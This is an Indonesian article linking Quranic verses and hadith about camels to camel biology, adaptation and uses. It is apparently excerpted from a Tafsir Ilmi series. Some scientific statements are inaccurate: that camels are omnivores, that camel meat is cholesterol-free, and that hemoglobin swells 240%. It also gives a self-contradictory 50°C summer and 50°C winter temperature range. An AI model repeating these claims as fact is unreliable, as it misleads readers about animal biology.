UNTA

UNTA

Serial Quran dan Sains

Salah satu ayat dalam Alquran meminta manusia untuk memperhatikan bagaimana Allah menciptakan unta. Adalah sangat menarik jika Alquran memilih unta untuk ditafakuri, bukannya hewan lain. Allah berfirman,

أَفَلَا يَنظُرُونَ إِلَى الْإِبِلِ كَيْفَ خُلِقَتْ۝

Maka tidakkah mereka memperhatikan unta, bagaimana diciptakan? (Alquran, Surah al-Gāsyiyah/88: 17)

Unta bukanlah hewan yang cantik dan sedap dipandang, bukan pula hewan yang gesit dan paling kuat, pun bukan hewan peliharaan yang setia kepada pemiliknya. Sifat unta agak sulit ditebak, namun pada dasarnya mereka jinak apabila diperlakukan dengan baik, dan berubah menjadi keras kepala dan cepat marah apabila diperlakukan dengan keras. Karena sifatnya demikian ini unta mendapatkan respek dari manusia.

Unta hanya punya bagian kecil dari sifat-sifat yang tadi disebut, namun itulah yang justru membuat karakternya berbeda. Betapa tidak; kondisi ini justru sangat membantu mereka bertahan hidup di kawasan yang memiliki lingkungan marginal. Allah menyatukan bagian-bagian kecil dari semua sifat itu, ditambah dengan sifat-sifat lain, pada diri hewan yang sangat cocok untuk hidup dalam kondisi kering bergurun. Penciptaan unta mengajari manusia agar menerima apa pun yang menjadi kehendak Allah, dan menerima di mana mereka ditempatkan di dunia ini, dengan tetap bersyukur kepada-Nya dan beradaptasi dengan lingkungannya.

Unta dipilih Allah untuk dibandingkan dengan makhluk lainnya, untuk ditafakuri dan dijadikan peringatan dari Allah. Hal ini dapat disimak dalam rangkaian ayat selanjutnya.

أَفَلَا يَنظُرُونَ إِلَى الْإِبِلِ كَيْفَ خُلِقَتْ۝ وَإِلَى السَّمَاءِ كَيْفَ رُفِعَتْ۝ وَإِلَى الْجِبَالِ كَيْفَ نُصِبَتْ۝ وَإِلَى الْأَرْضِ كَيْفَ سُطِحَتْ۝ فَذَكِّرْ إِنَّمَا أَنتَ مُذَكِّرٌ۝ لَّسْتَ عَلَيْهِم بِمُصَيْطِرٍ۝

Maka tidakkah mereka memperhatikan unta, bagaimana diciptakan? Dan langit, bagaimana ditinggikan? Dan gunung-gunung bagaimana ditegakkan? Dan bumi bagaimana dihamparkan? Maka berilah peringatan, karena sesungguhnya engkau (Muḥammad) hanyalah pemberi peringatan. Engkau bukanlah orang yang berkuasa atas mereka. (Alquran, Surah al-Gāsyiyah/88: 17-22)  

Unta adalah hewan yang sangat sesuai untuk membantu manusia memenuhi keperluan dan menjalankan aktivitasnya. Unta adalah hewan pengangkut beban yang cukup kuat dan tahan terhadap cuaca ekstrem. Tentang hal ini Allah berfirman,

وَالْأَنْعَامَ خَلَقَهَا ۗ لَكُمْ فِيهَا دِفْءٌ وَمَنَافِعُ وَمِنْهَا تَأْكُلُونَ۝ وَلَكُمْ فِيهَا جَمَالٌ حِينَ تُرِيحُونَ وَحِينَ تَسْرَحُونَ۝ وَتَحْمِلُ أَثْقَالَكُمْ إِلَىٰ بَلَدٍ لَّمْ تَكُونُوا بَالِغِيهِ إِلَّا بِشِقِّ الْأَنفُسِ ۚ إِنَّ رَبَّكُمْ لَرَءُوفٌ رَّحِيمٌ۝

Dan hewan ternak telah diciptakan-Nya, untuk kamu padanya ada (bulu) yang menghangatkan dan berbagai manfaat, dan sebagiannya kamu makan. Dan kamu memperoleh keindahan padanya, ketika kamu membawanya kembali ke kandang dan ketika kamu melepaskannya (ke tempat penggembalaan). Dan ia mengangkut beban-bebanmu ke suatu negeri yang kamu tidak sanggup mencapainya, kecuali dengan susah payah. Sungguh, Tuhanmu Maha Pengasih, Maha Penyayang. (Alquran, Surah an-Naḥl/16: 5-7)

Tanpa bantuan unta perjalanan melewati gurun akan sangat sulit dilakukan. Sudah berabad-abad lamanya manusia mengarungi gurun di Jazirah Arab dan Afrika dengan bantuan hewan tangguh ini. Sampai saat ini pun unta masih digunakan sebagai tunggangan untuk menempuh perjalanan-perjalanan pendek di kawasan ini. Unta sebagai  metafor ditemukan dalam banyak ayat Alquran. Allah mengumpamakan kemustahilan orang-orang yang mendustakan ayat-ayat Allah untuk masuk surga bagaikan mustahilnya unta dapat menembus lubang jarum. Pintu langit tidak sama sekali akan dibukakan untuk mereka yang mendustakan Allah. Doa dan amal mereka tidak akan diterima oleh-Nya.

إِنَّ الَّذِينَ كَذَّبُوا بِآيَاتِنَا وَاسْتَكْبَرُوا عَنْهَا لَا تُفَتَّحُ لَهُمْ أَبْوَابُ السَّمَاءِ وَلَا يَدْخُلُونَ الْجَنَّةَ حَتَّىٰ يَلِجَ الْجَمَلُ فِي سَمِّ الْخِيَاطِ ۚ وَكَذَٰلِكَ نَجْزِي الْمُجْرِمِينَ۝

Sesungguhnya orang-orang yimg mendustakan ayat-ayat Kami dan menyombongkan diri terhadapnya, tidak akan dibukakan pintu-pintu langit bagi mereka, dan mereka tidak akan masuk surga, sebelum unta masuk ke dalam lubang jarum. Demikianlah Kami memberi balasan kepada orang-orang yang berbuat jahat. (Alquran, Surah al-A‘rāf/7: 40)

Unta betina juga muncul dalam kisah tentang mukjizat Nabi Salih. Unta betina adalah hewan peliharaan yang paling bermanfaat pada masa itu, sehingga pantaslah hewan ini dijadikan sebagai bukti kekuasaan Allah. Unta betina dapat digunakan sebagai alat transportasi, penghasil daging, penghasil kulit dan bulu, bahkan dapat pula menghasilkan susu. Kisah unta betina Nabi Salih dan bagaimana perlakuan umat beliau kepada hewan tersebut dapat disimak dalam ayat-ayat berikut.

وَإِلَىٰ ثَمُودَ أَخَاهُمْ صَالِحًا ۗ قَالَ يَا قَوْمِ اعْبُدُوا اللَّهَ مَا لَكُم مِّنْ إِلَٰهٍ غَيْرُهُ ۖ قَدْ جَاءَتْكُم بَيِّنَةٌ مِّن رَّبِّكُمْ ۖ هَٰذِهِ نَاقَةُ اللَّهِ لَكُمْ آيَةً ۖ فَذَرُوهَا تَأْكُلْ فِي أَرْضِ اللَّهِ ۖ وَلَا تَمَسُّوهَا بِسُوءٍ فَيَأْخُذَكُمْ عَذَابٌ أَلِيمٌ۝

Dan kepada kaum Samud (Kami utus) saudara mereka Salih. Dia berkata, “Wahai kaumku! Sembahlah Allah! Tidak ada tuhan (sembahan) bagimu selain Dia. Sesungguhnya telah datang kepadamu bukti yang nyata dari Tuhanmu. Ini (seekor) unta betina dari Allah sebagai tanda untukmu. Biarkanlah ia makan di bumi Allah, janganlah kamu menyakitinya, nanti akibatnya kamu akan mendapatkan siksaan yang pedih.” (Alquran, Surah al-A‘rāf/7: 73)

فَعَقَرُوا النَّاقَةَ وَعَتَوْا عَنْ أَمْرِ رَبِّهِمْ وَقَالُوا يَا صَالِحُ ائْتِنَا بِمَا تَعِدُنَا إِن كُنتَ مِنَ الْمُرْسَلِينَ۝

Kemudian mereka sembelih unta betina itu, dan berlaku angkuh terhadap perintah Tuhannya. Mereka berkata, “Wahai Salih! Buktikanlah ancaman kamu kepada kami, jika benar engkau salah seorang rasul.” (Alquran, Surah al-A‘rāf:/7: 77)

وَيَا قَوْمِ هَٰذِهِ نَاقَةُ اللَّهِ لَكُمْ آيَةً فَذَرُوهَا تَأْكُلْ فِي أَرْضِ اللَّهِ وَلَا تَمَسُّوهَا بِسُوءٍ فَيَأْخُذَكُمْ عَذَابٌ قَرِيبٌ۝

Dan wahai kaumku! Inilah unta betina dari Allah, sebagai mukjizat untukmu, sebab itu biarkanlah dia makan di bumi Allah, dan janganlah kamu mengganggunya dengan gangguan apa pun yang akan menyebabkan kamu segera ditimpa (azab).” (Alquran, Surah Hūd/11: 64)

قَالَ هَٰذِهِ نَاقَةٌ لَّهَا شِرْبٌ وَلَكُمْ شِرْبُ يَوْمٍ مَّعْلُومٍ۝

Dia (Salih) menjawab, “ini seekor unta betina, yang berhak mendapatkan (giliran) minum, dan kamu juga berhak mendapatkan minum pada hari yang ditentukan. (Alquran, Surah asy-Syu‘arā’/26: 155)

إِنَّا مُرْسِلُو النَّاقَةِ فِتْنَةً لَّهُمْ فَارْتَقِبْهُمْ وَاصْطَبِرْ۝

Sesungguhnya Kami akan mengirimkan unta betina sebagai cobaan bagi mereka, maka tunggulah mereka dan bersabariah (Salih). (Alquran, Surah al-Qamar/54: 27)  

Allah memastikan bahwa orang-orang yang mendustakan tanda-tanda kekuasaan-Nya seperti apa yang diberikan kepada rasul-rasul terdahulu akan dimusnahkan. Kaum kafir Mekah juga pernah meminta kepada Nabi Muḥammad supaya diturunkan pula kepada mereka tanda-tanda kekuasaan Allah, seperti yang Allah turunkan kepada umat-umat terdahulu. Allah tidak menjawab permintaan mereka karena Dia tahu orang-orang kafir itu tidak akan beriman kendati permintaan mereka dikabulkan. Kalau itu terjadi, Allah pasti akan mengazab mereka karena kekufuran itu, sedang Allah telah berjanji kepada Rasulullah bahwa Dia tidak akan mengazab mereka selama Rasulullah ada di tengah-tengah mereka.

وَمَا مَنَعَنَا أَن نُّرْسِلَ بِالْآيَاتِ إِلَّا أَن كَذَّبَ بِهَا الْأَوَّلُونَ ۚ وَآتَيْنَا ثَمُودَ النَّاقَةَ مُبْصِرَةً فَظَلَمُوا بِهَا ۚ وَمَا نُرْسِلُ بِالْآيَاتِ إِلَّا تَخْوِيفًا۝

Dan tidak ada yang menghalangi Kami untuk mengirimkan (kepadamu) tanda-tanda (kekuasaan Kami), melainkan karena (tanda-tanda) itu telah didustakan oleh orang terdahulu. Dan telah Kami berikan kepada kaum Samud unta betina (sebagai mukjizat) yang dapat dilihat, tetapi mereka menganiaya (unta betina itu). Dan Kami tidak mengirimkan tanda-tanda itu melainkan untuk menakut-nakuti. (Alquran, Surah al-lsrā’/17: 59)

Penyebutan unta juga muncul dalam petunjuk Allah mengenai pembagian harta rampasan (fai). Allah berfirman,

وَمِنَ الْإِبِلِ اثْنَيْنِ وَمِنَ الْبَقَرِ اثْنَيْنِ ۗ قُلْ آلذَّكَرَيْنِ حَرَّمَ أَمِ الْأُنثَيَيْنِ أَمَّا اشْتَمَلَتْ عَلَيْهِ أَرْحَامُ الْأُنثَيَيْنِ ۖ أَمْ كُنتُمْ شُهَدَاءَ إِذْ وَصَّاكُمُ اللَّهُ بِهَٰذَا ۚ فَمَنْ أَظْلَمُ مِمَّنِ افْتَرَىٰ عَلَى اللَّهِ كَذِبًا لِّيُضِلَّ النَّاسَ بِغَيْرِ عِلْمٍ ۗ إِنَّ اللَّهَ لَا يَهْدِي الْقَوْمَ الظَّالِمِينَ۝

Dan dari unta sepasang dan dari sapi sepasang. Katakanlah, “Apakah yang diharamkan dua yang jantan atau dua yang betina, atau yang ada dalam kandungan kedua betinanya? Apakah kamu menjadi saksi ketika Allah menetapkan ini bagimu? Siapakah yang lebih zalim daripada orang-orang yang mengada-adakan kebohongan terhadap Allah untuk menyesatkan orang-orang tanpa pengetahuan?” Sesungguhnya Allah tidak akan memberi petunjuk kepada orang-orang yang zalim. (Alquran, Surah al-An‘ām/6: 144)

وَمَا أَفَاءَ اللَّهُ عَلَىٰ رَسُولِهِ مِنْهُمْ فَمَا أَوْجَفْتُمْ عَلَيْهِ مِنْ خَيْلٍ وَلَا رِكَابٍ وَلَٰكِنَّ اللَّهَ يُسَلِّطُ رُسُلَهُ عَلَىٰ مَن يَشَاءُ ۚ وَاللَّهُ عَلَىٰ كُلِّ شَيْءٍ قَدِيرٌ۝

Dan harta rampasan fai’ dari mereka yang diberikan Allah kepada Rasul-Nya, kamu tidak memerlukan kuda atau unta untuk mendapatkannya, tetapi Allah memberikan kekuasaan kepada rasul-rasul-Nya terhadap siapa yang Dia kehendaki. Dan Allah Mahakuasa atas segala sesuatu. (Alquran, Surah al-Ḥasyr/59: 6)

Fai’ adalah harta rampasan yang diperoleh dari musuh tanpa pertempuran. Metode pembagiannya berbeda dari cara pembagian ganimah (harta rampasan yang diperoleh dari musuh setelah terjadi pertempuran). Pembagian fai’ diuraikan pada Surah al-Ḥasyr/59: 7. Di sana disebutkan bahwa harta fai’ tidak untuk dibagikan kepada mereka yang sudah kaya, namun kepada fakir, miskin, anak yatim, dan musafir. Adapun cara pembagian ganimah diuraikan pada Surah al-Anfal/ 8: 41. Ayat ini menjelaskan bahwa empat per lima dari harta ganimah dibagikan kepada mereka yang ikut berperang, sedangkan seperlima sisanya dibagikan kepada kelompok yang sudah ditentukan. Cukup banyak hadis yang menggunakan unta sebagai subjek. Beberapa di antaranya adalah:

Unta betina Rasulullah dinamai al-‘Adba’ (unta yang sobek telinganya). (Riwayat al-Bukhāri dari Anas)

Rasulullah mempunyai seekor unta betina bernama al-Abā’. Unta ini (berlari sangat cepat sehingga) tidak tersalip-dalam riwayat Humaid: hampir tidak tersalip. Suatu saat seorang badui mengendarai untanya dan dapat menyalip al-‘ Adba’. Hal itu membuat kaum muslim menjadi gerah, dan sampailah kegerahan mereka ke telinga Rasulullah. Nabi berkata, “Hanya Allah yang berhak menentukan bahwa sesuatu yang diangkat tinggi di dunia ini akan diturunkan-Nya.” (Riwayat al-Bukhāri dari Anas)

Sesungguhnya Rasulullah melihat seorang pria menuntun unta betina (yang akan dijadikan hewan kurban). “Naikilah untamu!” perintah Rasulullah kepada pria itu. la menjawab, “Ini adalah unta   yang akan aku kurbankan.” “Naikilah untamu!” ulang Rasulullah. “Ini adalah unta yang akan aku kurbankan,” jawab pria itu. “Naikilah untamu! Kasihan dirimu!” pungkas Rasulullah pada ucapan yang kedua atau ketiga. (Riwayat al-Bukhāri dan Muslim dari Abū Hurairah)

Suatu saat Rasulullah tawaf mengelilingi Baitullah dengan menaiki unta. Tiap kali beliau menghampiri sudut (yang di sana terdapat Hajar Aswad), beliau menunjuk ke arahnya dengan sesuatu yang beliau pegang, sambil mengumandangkan takbir. (Riwayat al-Bukhāri dari Ibnu ‎‘Abbās)

Barang siapa membantu kaumnya (yakni: orang lain) untuk berbuat tidak benar maka ia bagaikan unta yang terperosok, lalu diangkat ke atas dengan ditarik ekornya. (Riwayat Abū Dāwūd dari Ibnu Mas’ūd)

Suatu ketika Rasulullah berjalan melewati seekor unta yang (begitu kurus sehingga seolah) punggung dan perutnya menempel. Beliau berkata, “Bertakwalah kalian kepada Allah terkait (hak) hewan-hewan yang polos ini. Naikilah dengan cara yang baik dan makanlah (sembelihlah) dengan cara yang baik. (Riwayat Abū Dāwūd dari Sahl bin al-Ḥanẓaliyah)

Rasulullah melarang kami menaiki dan meminum susu unta yang memakan kotoran (yakni: apabila tubuh dan susunya berbau tidak sedap). (Riwayat Abū Dāwūd dari Ibnu ‘Umar)

 

Perikehidupan Unta

Unta adalah hewan menyusui berkuku genap yang masuk dalam marga Camelus, yang memiliki simpanan lemak dalam tubuhnya dalam bentuk punuk di punggungnya. Ada dua jenis unta yang dikenal, yaitu Camelus dromedarius atau unta Arab yang berpunuk satu, dan Camelus bactrianus yang berpunuk dua. Unta berpunuk satu hidup di kawasan gurun di Asia Barat dan Afrika, sedangkan unta berpunuk dua hidup alami di Asia Tengah dan Asia Timur. Kedua jenis unta ini telah didamestikasi dan digunakan sebagai pengangkut beban, alat transpartasi, juga penghasil daging dan susu.

Kata dromedarius berasal dari kosa kata Yunani dromos yang berarti jalanan, dan secara teknis menunjuk pada mengendarai unta berpunuk satu. Adapun kata camel berasal dari kata berbahasa Arab yang terdiri dari tiga konsonan: jim, mim, dan lam = jamal, yang berarti cantik/indah. Secara umum kata camel digunakan untuk dua jenis unta di atas, juga untuk suku Camelidae lain yang hidup di Amerika Selatan, yaitu Llama, Alpaca, Guanaco, dan Vicuna.

Unta berpunuk satu mencapai kedewasaan saat berumur antara 6-7 tahun, saat di mana ia memiliki berat badan antara 250-680 kg dan tinggi dari telapak kaki hingga bahu mencapai 1,8-2 meter. Bulunya yang tebal, terutama pada musim dingin, membuat unta terlihat lebih gemuk.

Umur unta rata-rata mencapai 40-50 tahun. Unta dewasa rata-rata mempunyai tinggi bahu (dari permukaan tanah sampai bahu) sekitar  1,85 meter dan tinggi punuk (dari permukaan tanah sampai puncak punuk) sekitar 2,15 meter. Tinggi punuk itu sendiri dapat mencapai 75 cm dari punggung. Unta berpunuk satu dapat menempuh jarak 120-190 km per hari.

Tipe unta yang lebih kekar biasanya digunakan untuk membawa beban. la mampu mengangkut beban hingga seberat 450 kg, tapi umumnya hanya diberi beban sampai 200 kg. Unta pengangkut beban ini dapat berjalan hingga 60 kilometer per hari. Variasi jarak dapat diatur berdasarkan kondisi hewan dan berapa total jarak yang akan ditempuh. Untuk jarak dekat, unta dapat berlari dengan kecepatan   40 km/jam, dengan start mencapai 65 km/jam.

Hidup unta berpunuk satu hasil domestikasi bergantung sepenuhnya kepada bantuan manusia yang biasa memberinya pakan berupa kurma, rumput, dan biji- bijian seperti gandum dan jelai. Sebetulnya unta juga mampu memakan berbagai bagian tumbuhan liar, seperti semak berduri, daun kering, dan biji-bijian tanaman liar. Pada dasarnya, unta adalah pemakan segala (omnivora). Mereka memakan tumbuhan, daging, bahkan tulang.

Populasi unta berpunuk satu di dunia saat ini tercatat sekitar 14 juta ekor. Hampir semua unta jenis ini telah dijinakkan. Sekitar 25% dari populasi hidup di Somalia. Di kawasan ini unta masih menjadi hewan yang amat krusial bagi kehidupan suku-suku nomad di sini. Unta menyediakan bagi mereka daging, susu, dan alat transportasi. Sekitar 75% sisanya banyak ditemukan di beberapa kawasan Sahel, Magrib, Timur Tengah, dan anak benua India. Unta berpunuk satu yang hidup liar hanya ditemukan di gurun dan kawasan kering Australia Tengah. Populasinya mencapai 1 juta ekor. Mereka ini adalah keturunan dari unta yang didatangkan dari luar Austalia untuk keperluan transportasi di abad ke-19 dan permulaan abad ke-20. Populasi unta ini terus naik sekitar 18% per tahun. Pemerintah Australia mengganggap populasi unta ini mengganggu peternakan domba yang lebih bernilai komersial. Atas alasan ini pemerintah melakukan upaya pengurangan populasi unta dengan menembakinya dari udara. Di Amerika bagian barat juga ditemukan populasi kecil unta berpunuk satu dan dua. Awalnya mereka didatangkan dari Turki untuk diuji coba menjadi pengangkut akomodasi peperangan.

Unta berpunuk dua ditemukan di kawasan Mongolia dan Asia Tengah. Dibandingkan unta berpunuk satu, tubuh unta berpunuk dua relatif lebih pendek, lebih kekar, dan lebih dapat beradaptasi di kawasan berbatu dan suhu yang relatif lebih dingin. Kekuatan dan daya tahannya sangat besar. la dapat mengangkat beban sampai 450 kg. Dengan beban seberat itu hewan ini dapat menempuh jarak hingga lebih dari 40 km per hari.

Tinggi bahu unta berpunuk dua dewasa dapat mencapai 1,8-2,3 m, dengan panjang tubuh sekitar 3 m. Berat unta dewasa berkisar antara 600-1.000 kg. Berat punuk masing-masingnya dapat mencapai 32 kg. Masa hidupnya antara 25-45 tahun. Semula banyak yang mengira unta berpunuk dua sudah punah, hingga akhirnya ditemukan hidup liar dalam kelompok kecil di Gurun Gobi, Cina, pada 1957. Drastisnya penurunan populasi jenis ini diakibatkan peralihan peruntukan lahan untuk keperluan manusia, perburuan, pemangsaan oleh predator (terutama serigala), atau pemusnahan secara sengaja oleh manusia karena dianggap menjadi pesaing bagi ternak sapi dan domba. Saat ini diduga populasi unta liar berpunuk dua hanya tersisa di Gurun Gobi. Jumlahnya diperkirakan tinggal 400-700 ekor di Mongolia, dan 200 ekor di Cina.

Unta berpunuk dua diperkirakan sudah didomestikasi sekitar 2.500 tahun SM di kawasan Bactria, perbatasan Iran-Afghanistan saat ini. Unta ini kemudian menyebar ke Rusia (1.700-1.200 tahun SM), Siberia Barat (1.000 tahun SM). Pada tahun 300 SM unta ini sudah digunakan sebagai moda transportasi pendukung akivitas perdagangan di Jalur Sutra.

Hidup di kawasan ekstrem ini secara alami hanya dapat dilakukan oleh unta. Hewan berukuran besar lainnya tidak bisa karena mereka perlu sumber daya yang besar, seperti pakan dan air, untuk menunjang kehidupannya. Unta mampu “mengakali” hal tersebut dan menjadikannya sebagai suatu strategi hidup yang ampuh. Dengan hidup di kawasan gurun, pegunungan berbatu, atau di kawasan kering lainnya, unta dapat menghindari hewan-hewan pemangsa dan pesaing, baik dalam hal makanan maupun ruang. Hanya unta yang dapat memanfaatkan kondisi marginal demikian ini. Semua bagian tubuh unta seolah disiapkan untuk hidup di kawasan yang sulit. Kakinya memiliki dua jari kaki yang terhubung oleh engsel fleksibeI. Telapak kaki unta dilengkapi empat bantalan lemak. Struktur yang demikian ini membuat kaki unta dapat mencengkeram dengan kuat, serta memungkinkannya berjalan di pasir yang halus tanpa terperosok ke dalamnya. Kukunya melindungi kaki dari benda keras apabila tersandung. Pada tulang kering kaki depan unta terdapat penebalan kulit yang disebut Callous. Penebalan kulit ini juga terdapat pada dada dan bagian depan kaki belakang. Callous ini sangat berguna saat unta beristirahat di atas pasir yang panas. Bagian ini mulai terbentuk saat anak unta mencapai umur 5 bulanan. Untuk berdiri dari posisi istirahat, unta meluruskan kaki belakangnya terlebih dahulu, disusul kemudian oleh kaki depannya. Cara ini membuatnya dapat berdiri dengan mudah meski masih ada beban berat di punggungnya. Mukanya diciptakan sedemikian rupa agar dapat terlindung dari panas matahari dan siratan debu pasir. Kelopak mata unta berlapis dua yang tebal dan berbulu mata panjang dan kasar, yang melindungi bola mata dari debu pasir. Bulu mata unta bekerja ,mirip dua buah sisir dengan mata sisir yang saling menutup, sehingga sebutir pasir pun tidak akan masuk ke bola matanya. Lubang hidung unta dapat ditutup menggunakan otot tertentu untuk menghindari masuknya debu dan pasir. Telinganya memiliki bulu, baik pada bagian dalam maupun luar agar dapat menyaring pasir supaya tidak masuk ke bagian dalam telinga.

Unta tidak menyimpan air di punuknya sebagaimana dipercaya oleh sebagian masyarakat. Punuknya adalah persediaan lemak yang dapat dimanfaatkannya ketika ia kesulitan mendapat makanan. Dengan memusatkan penyimpanan lemak maka penyebaran panas di tubuhnya akan minimum. Ketika terjadi metabolisme dalam otot, maka satu gram air akan diperlukan oleh oksigen dalam memecah satu gram lemak. Apabila lemak tersebar di seluruh tubuh maka air yang diperlukan akan sangat banyak. Karena proses metabolisme tadi menghasilkan energi, maka panas yang dihasilkannya juga sangat banyak dan akan meningkatkan suhu badan. Dengan persediaan lemak yang demikian ini, unta dapat makan 30-50 kg per hari, namun ia dapat pula bertahan hidup dengan hanya 2 kg rumput yang didapatnya hari itu. Dengan sistem demikian unta dapat hidup tanpa air selama 3 minggu, saat di mana ia akan kehilangan sepertiga dari berat tubuhnya. Pada kondisi yang sama -tanpa air- manusia akan kehilangan berat badan hanya sebesar 8%, namun hanya akan mampu bertahan hidup selama 36 jam.

Karena hidup di kawasan yang sulit, maka tubuh unta telah dirancang sedemikian rupa agar dapat makan apa saja. Bagian luar mulutnya sangat kuat dan serupa dengan karet, tidak akan terluka walaupun digunakan untuk mengunyah ranting liat atau batang kaktus yang berduri yang cukup tajam untuk sekadar menusuk dan melubangi kulit. Saluran pencernaan unta juga cukup kuat untuk menerima plastik tebal, bahkan segulung kawat tembaga.

Unta mampu mengatasi persoalan panas yang begitu menyengat dan kurangnya persediaan air, suatu kondisi alami kawasan gurun. Pertama, unta mampu menurunkan kerja metabolismenya, yang berarti penggunaan energi yang ada dilakukan secara perlahan. Suhu tubuhnya memiliki kisaran yang besar, yang memungkinkan mampu berfungsi normal walau pada suhu udara yang tinggi. Unta hanya minum apabila perlu. Jumlah yang diminumnya pun tidak berlebihan, hanya sejumlah air yang hilang dari tubuhnya. Mereka dapat minum sebanyak 100-150 liter air dalam sekali tenggak. Unta sanggup minum air sebanyak 160 liter hanya dalam 10 menit. Pada hewan lain, cara minum yang demikian pasti akan membuatnya mati. Uniknya, unta dapat meminum air payau yang tidak dapat dikonsumsi hewan lainnya.

Air yang diminum unta mengalir di saluran darah. Hemoglobin dalam sel darah merah unta mempunyai sifat hydrophilic-menarik air. Saat air tersedia dalam jumlah banyak di tubuh unta, hemoglobin ini membesar lebih dari 240% ukuran semula. Selain bersifat hydrophilic, hemoglobin unta juga mempunyai sifat hyperhydration, suatu mekanisme yang menghindarkan unta dari problem osmotik saat unta minum air dalam jumlah banyak. Pada binatang lain, terlalu banyak minum hampir selalu berakhir pada kematian. Berbeda dari mitos masyarakat bahwa air disimpan di salah satu bagian perut unta, air yang ada di saluran darah akan disebar ke semua otot dan organ tubuh unta. Unta dapat memproses air di dalam tubuhnya dengan sangat efisien. Unta hanya mengalami penguapan air yang ada pada otot, tidak pada darah. Dengan demikian, darah unta akan tetap cukup cair untuk dapat bersirkulasi dengan baik saat membuang panas  tubuhnya. Unta berbeda dari manusia, misalnya, yang darahnya akan menjadi kental begitu mengalami dehidrasi. Unta mengkonservasi air dengan meminimalisasi seefisien mungkin air yang keluar melalui urin. Ginjal unta dapat membuat air kencing menjadi sekental sirup, dengan kadar garam hingga dua kali Iipat kadar garam dalam air laut. Kotoran unta juga sangat kering, dapat langsung dijadikan perapian untuk memasak.

Unta adalah salah satu hewan yang dapat berkeringat. Dengan cara ini cairan tubuh yang hilang dapat diperkecil dan sistem pendinginan tubuh dapat berjalan. Pancaran sinar matahari dapat dicegah dengan adanya bulu tubuh yang tebal, demikian pula saat suhu sangat dingin. Bulu ini juga berperan menunda proses berkeringat sampai pada puncak kisaran panas tubuh yang dimilikinya. Unta dapat menaikkan suhu tubuh sampai 41°C, yang itu membantunya dalam konservasi air tubuh yang sangat berharga. Dengan bulunya yang tebal unta berpunuk dua dapat hidup pada suhu hingga 50°C pada musim panas, dan 50°C pada musim dingin.

Selain sebagai alat transportasi, unta juga dimanfaatkan daging dan susunya. Daging unta, walaupun agak Iiat, memilki rasa yang enak. Kulitnya disamak untuk dijadikan berbagai peralatan. Bulunya yang tebal dan gugur dari waktu ke waktu diuntai untuk dijadikan tali atau bahan baju hangat. Unta dapat menghasilkan 20 liter susu sehari tanpa minum air sampai 10 hari. Unta khusus perah bahkan dapat memproduksi susu antara 30-40 liter per hari. Secara unsur kimiawi, dalam susu unta sama dengan susu sapi, namun memiliki kandungan vitamin C lebih tinggi. Kandungan lemak, protein, dan mineral dalam susu unta juga lebih tinggi daripada susu sapi atau susu kambing. Walaupun saat ini manusia di hampir seluruh penjuru dunia menjadikan daging ayam sebagai pilihan pertama untuk dikonsumsi, namun bukan tidak mungkin suatu saat nanti masyarakat akan mulai melirik daging unta. Benar, karena daging unta bebas dari kolesterol dan hampir tidak memiliki lemak. Lemak di tubuh unta ditimbun di satu tempat, yaitu punuk.

Sejak 1.200 SM unta tercatat sudah dimanfaatkan menjadi alat transportasi. Pada 500-100 SM unta berpunuk dua mulai dijadikan kendaraan perang. Pada abad ke-7 M manusia mulai menciptakan pelana unta khusus untuk berperang. Pasukan kavaleri menunggang unta banyak dijumpai di Afrika, Timur Tengah, bahkan pada masa modern ini di India. Unta juga lebih dipilih menjadi pembawa akomodasi perang dibandingkan keledai atau bahkan kuda. Sampai saat ini, unta masih menjadi alat transportasi yang cukup penting. Hingga dewasa ini unta dimanfaatkan menjadi penarik gerobak di Pakistan. Pada masa lalu, unta bahkan dijadikan penarik rumah, seperti dijumpai di Kalgorie, Australia. Di samping itu, unta juga banyak terlibat dalam beberapa olah raga, seperti adu unta di Turki dan lomba lari unta di Australia. Namun, tidak ada tempat lain di dunia di mana hubungan antara manusia dengan unta sangat dekat, kecuali di Jazirah Arab. Sedemikian penting unta dalam budaya Arab sampai-sampai ada sekitar 160 kata yang orang Arab gunakan untuk menunjuk unta.

Sejak 1.800 tahun SM rute perdagangan antara Asia/Afrika ke Eropa. selalu melalui Jazirah Arab. Dari Asia atau Afrika mereka membawa rempah-rempah, gading, emas, dan sutra. Unta diperkirakan telah digunakan oleh masyarakat Nabatea sebagai hewan pengangkut beban sejak satu abad SM, melintasi Teluk Aqaba ke Petra, Yordania. Unta juga digunakan pasukan Islam saat menaklukkan Byzantium dan Persia pada abad ke-7 M. Perang, perdagangan, dan peradaban, semuanya “menunggang” unta. Sedemikian penting peran unta sampai-sampai masyarakat Bedoin menjulukinya Aṭā’ullāh, karunia Allah.

أَلَمْ تَرَوْا أَنَّ اللَّهَ سَخَّرَ لَكُم مَّا فِي السَّمَاوَاتِ وَمَا فِي الْأَرْضِ وَأَسْبَغَ عَلَيْكُمْ نِعَمَهُ ظَاهِرَةً وَبَاطِنَةً ۗ وَمِنَ النَّاسِ مَن يُجَادِلُ فِي اللَّهِ بِغَيْرِ عِلْمٍ وَلَا هُدًى وَلَا كِتَابٍ مُّنِيرٍ۝

Tidakkah kamu memperhatikan bahwa Allah telah menundukkan apa yang ada di langit dan apa yang ada di bumi untuk (kepentingan)mu dan menyempurnakan nikmat-Nya untukmu lahir dan batin. Tetapi di antara manusia ada yang membantah tentang (keesaan) Allah tanpa ilmu atau petunjuk dan tanpa Kitab yang memberi penerangan. (Alquran, Surah Luqmān/31: 20)  

Apa yang dapat dipetik dari ayat di atas terkait perikehidupan unta? Mampukah unta dengan sendirinya mengadaptasikan diri dengan lingkungan gurun yang ekstrem? Apakah unta itu sendiri yang membentuk punuk di punggungnya, lalu memfungsikannya penyimpan lemak? Untakah yang merancang mata dan hidungnya agar aman saat terjadi badai di gurun? Unta sendirikah yang merancang darah dan bentuk sel hemoglobin yang berbentuk oval, dan tidak bulat, untuk dapat mengurangi hilangnya air tubuhnya? Apakah unta itu sendiri yang memilih untuk memiliki bulu yang demikian ini? Apakah unta itu sendiri yang memilih dirinya untuk menjadi “kapal gurun pasir”?

Seperti semua mahluk hidup lain, unta tentu tidak dapat menentukan semua kondisi sebagaimana disebut. Unta juga tidak dapat menjadikan dirinya sendiri berguna bagi kemanusiaan. Karena diciptakan dengan fisik yang demikian superior itu, unta dapat membaktikan diri kepada kemanusiaan. Di pihak lain, manusia dibebani tanggung jawab mempelajari dan memahami tanda kekuasaan Tuhan yang terwujud dalam diri unta (Al-Gāsyiyah/88: 17) dan juga dalam alam semesta ini -bahwa pencipta semua itu hanyalah Allah.

Dikutip dari Tafsir ‘Ilmi

